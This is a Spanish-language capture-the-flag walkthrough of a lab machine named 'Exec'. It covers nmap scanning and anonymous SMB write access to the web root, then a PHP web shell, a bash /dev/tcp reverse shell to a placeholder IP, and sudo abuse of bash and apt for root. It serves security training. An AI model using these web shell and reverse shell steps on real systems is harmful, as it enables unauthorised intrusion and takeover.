Exec

Table of contents

  1. Enumeracion
    1. SMB - 445
  2. User-pivoting: www-data -> s3cur4
  3. Escalada de privilegios

  • SMB Enumeration (RW permission)
  • RCE via PHP web shell
  • Abusing sudoers binaries (bash, apt)
  • User pivoting

Enumeracion

Iniciamos con un escaneo de nmap donde encontraremos los puertos 22(SSH), 80(HTTP), y 139/455(netbios-SMB):

nmap -sS -n -Pn --open -p- 172.16.0.5
  • sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si el puerto esta abierto

  • n: para que no haga resolucion DNS y tarde menos el escaneo

  • Pn: para evitar el descubrimiento de hosts

  • open: para que solo muestre los puertos abiertos

  • -p-: para que escanee todo el rango de puertos

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Ahora escanearemos para encontrar mas informacion sobre los puertos y servicios que estan corriendo

nmap -sCV -p22,80,139,445 172.16.0.5
  • sCV: Lanza script para enumerar el servicio y obtiene informacion sobre la version del servicio

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp  open  http        Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: EXEC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2024-06-24T23:16:21
|_  start_date: N/A
|_clock-skew: -2s

En el puerto 80 no encontraremos mas que el sitio web por defecto de apache

SMB - 445

Relizamos una enumeracion basica usando smbmap usando null session para saber cuales son los recursosc compartidos y sus permisos.

smbmap -H 172.16.0.5 -u "null" -p "null" --no-banner

Veremos que tenemos permisos RW sobre el recurso server.

server 			READ, WRITE				Developer Directory

Ahora ingresaremos en el usando smbclient aplicando null session y nos daremos cuenta que existe el archivo index.html:

smbclient //172.16.0.5/server -N
smb: \> ls
  .                                   D        0  Mon Apr 15 02:45:54 2024
  ..                                  D        0  Mon Apr 15 02:04:12 2024
  index.html                          N    10701  Mon Apr 15 02:04:31 2024

		19480400 blocks of size 1024. 16491120 blocks available

Si lo visualizamos es el mismo contenido que el del sitio web, por lo cual es muy probable que esten sincronizados, eso lo comprobamos si subimos un archivo usando el comando put

smb: \> put archivo.txt
putting file archivo.txt as \archivo.txt (3.1 kb/s) (average 3.1 kb/s)

Ahora al ingresar al sitio web y apuntar a ese recurso veremos el contenido del archivo:

En este punto simplemente podemos subir una web shell usando PHP, en mi caso usare esta:

<?php
    echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>

Ahora solo apunteros al recurso pero indicando una reverse shell en el parametro cmd

http://172.16.0.5/webshell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/<tu-ip>/443%200%3E%261%22
sudo nc -nlvp 443                                                                                                                                 ✘ 1
Connection from 172.16.0.5:55866
bash: cannot set terminal process group (484): Inappropriate ioctl for device
bash: no job control in this shell
www-data@exec:/var/www/html$ 

User-pivoting: www-data -> s3cur4

Si mostramos los permisos a nivel de sudoers veremos que podemos ejecutar bash sin contraseña como el usuario s3cur4:

Matching Defaults entries for www-data on exec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on exec:
    (s3cur4) NOPASSWD: /usr/bin/bash

Ahora ejecutamos bash como el usuario s3cur4 usando el comando:

sudo -u s3cur4 /usr/bin/bash 

Escalada de privilegios

Al mostrar de nuevo los permisos a nivel de sudoers, veremos que podemos ejecutar apt como root sin contraseña

Matching Defaults entries for s3cur4 on exec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User s3cur4 may run the following commands on exec:
    (root) NOPASSWD: /usr/bin/apt

Si buscamos en GFTOBins veremos que nos podemos hacer root de esta forma:

sudo apt changelog apt
!/bin/bash

Que en nuestro caso seria asi:

sudo -u root /usr/bin/apt changelog apt

Y despues ejecutar !/bin/bash

Esto nos spawneara una shell y como root

root@exec:~# id
uid=0(root) gid=0(root) groups=0(root)

Eso ha sido todo, gracias por leer